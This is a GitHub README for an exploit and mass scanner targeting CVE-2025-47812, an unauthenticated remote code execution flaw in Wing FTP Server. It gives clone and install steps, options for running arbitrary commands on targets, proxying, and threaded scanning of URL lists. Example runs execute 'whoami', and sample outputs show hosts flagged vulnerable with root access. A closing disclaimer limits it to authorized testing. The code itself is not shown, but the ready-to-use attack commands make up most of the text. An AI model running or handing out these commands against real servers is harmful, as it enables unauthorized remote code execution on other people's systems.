0xjuarez/cve-2025-47812Exploit and scanner for CVE-2025-47812 targeting Wing FTP Server unauthenticated remote code execution, supporting single-target, mass scanning, proxy, and multiple output formats.
Enhanced exploit for Wing FTP Server CVE-2025-47812 - Unauthenticated Remote Code Execution (RCE)
Clone this repository and enter the directory:
git clone https://github.com/0xjuarez/CVE-2025-47812.git
cd CVE-2025-47812
pip install -r requirements.txt
Or simply download the script CVE-2025-47812.py and run it.
usage: CVE-2025-47812.py [-h] [-u URL] [-f FILE] [-c COMMAND] [-U USERNAME] [-P PASSWORD] [--check] [-v] [--proxy PROXY] [--timeout TIMEOUT] [-o OUTPUT] [--output-format {txt,json,csv}] [--threads THREADS] [--no-progress]
Exploit for Wing FTP Server CVE-2025-47812 - enhanced version
opciones:
-h, --help shows this help message
-u URL, --url URL target URL (e.g., http://192.168.1.100:5466)
-f FILE, --file FILE file with list of URLs (one per line)
-c COMMAND, --command COMMAND
command to execute (default: echo CVE-2025-47812)
-U USERNAME, --username USERNAME
username (default: anonymous)
-P PASSWORD, --password PASSWORD
password (default: empty)
--check check mode: only checks if vulnerable (uses harmless command)
-v, --verbose verbose mode (shows details)
--proxy PROXY proxy (e.g., http://127.0.0.1:8080)
--timeout TIMEOUT timeout in seconds (default: 10)
-o OUTPUT, --output OUTPUT
output file to save results
--output-format {txt,json,csv}
output format (default: txt)
--threads THREADS number of threads to scan multiple targets (default: 5)
--no-progress hide progress bar
python CVE-2025-47812.py -u http://192.168.1.100:5466 -c "whoami" -v
python CVE-2025-47812.py -u http://192.168.1.100:5466 --check
python CVE-2025-47812.py -f targets.txt --threads 10 -o resultados.json --output-format json
python CVE-2025-47812.py -u http://192.168.1.100:5466 --proxy http://127.0.0.1:8080 -v
The file must contain one URL per line, for example:
http://192.168.1.10:5466
http://192.168.1.11:5466
https://ftp.miservidor.com:5466
http://192.168.1.10:5466 - VULNERABLE - user: root
http://192.168.1.11:5466 - SECURE - Not vulnerable
[
{
"target": "http://192.168.1.10:5466",
"vulnerable": true,
"info": "user: root"
}
]
Target,Vulnerable,Info
http://192.168.1.10:5466,True,user: root
This exploit is designed solely for educational purposes and authorized security testing. Unauthorized use of this tool against systems without explicit consent is illegal and may lead to serious legal consequences. The authors are not responsible for any misuse.
If you like this work, don't forget to give it a star ⭐ on GitHub!
This project is licensed under the MIT License – see the LICENSE file for details.